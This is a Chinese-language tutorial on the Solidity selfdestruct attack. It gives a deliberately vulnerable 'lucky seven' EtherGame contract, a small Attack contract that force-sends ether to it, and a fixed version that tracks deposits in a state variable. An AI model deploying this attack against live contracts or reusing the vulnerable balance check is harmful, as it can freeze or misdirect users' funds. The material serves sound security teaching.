智能合约安全：自毁函数攻击

被攻击者合约 EtherGame

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 幸运七游戏合约
contract EtherGame {
   // 每轮游戏的目标金额
   uint private constant TARGET_AMOUNT = 7 ether; 
   
   // 赢家地址
   address public winner; 

   // 存入以太，玩游戏
   function deposit() public payable { 
      // 只允许玩家存入1个ether
      require(msg.value == 1 ether, "You can only send 1 Ether");
      
      // 获取合约余额
      uint balance = address(this).balance; 

      // 如果合约余额小于等于7个ether，就继续向下运行，否则拒绝当前玩家，以太退回
      require(balance <= TARGET_AMOUNT, "Game is over");

      // 如果合约余额等于7个ether，那么本次存入以太的人，就是赢家
      if (balance == TARGET_AMOUNT) { 
         winner = msg.sender; 
      }
      // 如果合约余额不等于7个ether，也就是小于7
      // 那么本次存入以太的人，就是输家，以太被没收，游戏继续
   }
   
   // 赢家申请取走奖励
   function claimReward() public {
      // 判断是否为赢家，输家调用返回 "Not winner"
      require(msg.sender == winner, "Not winner");

      // 给赢家发送合约中的全部ether
      (bool sent, ) = msg.sender.call{value: address(this).balance}(""); 
      require(sent, "Failed to send Ether"); 

      // 赢家地址清零
      winner = address(0);
   }

   // 查看合约余额
   function getBalance() public view returns(uint){
      return address(this).balance;
   }
}

攻击者合约 Attack

攻击合约 Attack 非常简单，只有两个函数。

构造函数 constructor 的属性设置为 payable，这样可以让我们在部署合约的时候，先存入7个以太。

攻击函数 attack，参数为攻击目标的地址，执行自毁的时候，强制转账给这个地址。

// 攻击者合约
contract Attack {
   // 构造函数，设置为payable
   constructor() payable{
   }

   // 攻击函数，参数为目标合约地址
   function attack(address _addr) external {
         selfdestruct(payable(_addr));
   }

   // 查看合约余额
   function getBalance() public view returns(uint){
      return address(this).balance;
   }
}

本次攻击之所以成功，是因为开发者过份相信自己能够控制账户余额，却不知道以太坊留有后门，可以通过自毁函数强制转账。

修复方案

解决自毁函数攻击的关键，就是不要以账户余额做为判断条件。 我们可以定义一个状态变量，用来记录游戏资金的余额，这个变量是开发者可以自行掌控的。 按照这个思路，游戏合约的代码修复如下。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 幸运七游戏合约
contract EtherGame {
   // 每轮游戏的目标金额
   uint private constant TARGET_AMOUNT = 7 ether; 
   
   // 赢家地址
   address public winner; 
   
   // 账户余额
   uint private balance;
   
   // 存入以太，玩游戏
   function deposit() public payable { 
      // 只允许玩家存入1个ether
      require(msg.value == 1 ether, "You can only send 1 Ether");
      
      // 合约余额累加本次投注
      balance += msg.value; 

      // 如果合约余额小于等于7个ether，就继续向下运行，否则拒绝当前玩家，以太退回
      require(balance <= TARGET_AMOUNT, "Game is over");

      // 如果合约余额等于7个ether，那么本次存入以太的人，就是赢家
      if (balance == TARGET_AMOUNT) { 
         winner = msg.sender; 
      }
      // 如果合约余额不等于7个ether，也就是小于7
      // 那么本次存入以太的人，就是输家，以太被没收，游戏继续
   }
   
   // 赢家申请取走奖励
   function claimReward() public {
      // 判断是否为赢家，输家调用返回 "Not winner"
      require(msg.sender == winner, "Not winner");

      // 合约账户余额清零
      balance = 0;

      // 赢家地址清零
      winner = address(0);
      
      // 给赢家发送合约中的全部ether
      (bool sent, ) = msg.sender.call{value: address(this).balance}(""); 
      require(sent, "Failed to send Ether"); 
   }

   // 查看变量余额和合约余额
   function getBalance() public view returns(uint varBalance, uint realBalance){
      return (balance,address(this).balance);
   }
}

// 攻击者合约
contract Attack {
   // 构造函数，设置为payable
   constructor() payable{
   }

   // 攻击函数，参数为目标合约地址
   function attack(address _addr) external {
         selfdestruct(payable(_addr));
   }

   // 查看合约余额
   function getBalance() public view returns(uint){
      return address(this).balance;
   }
}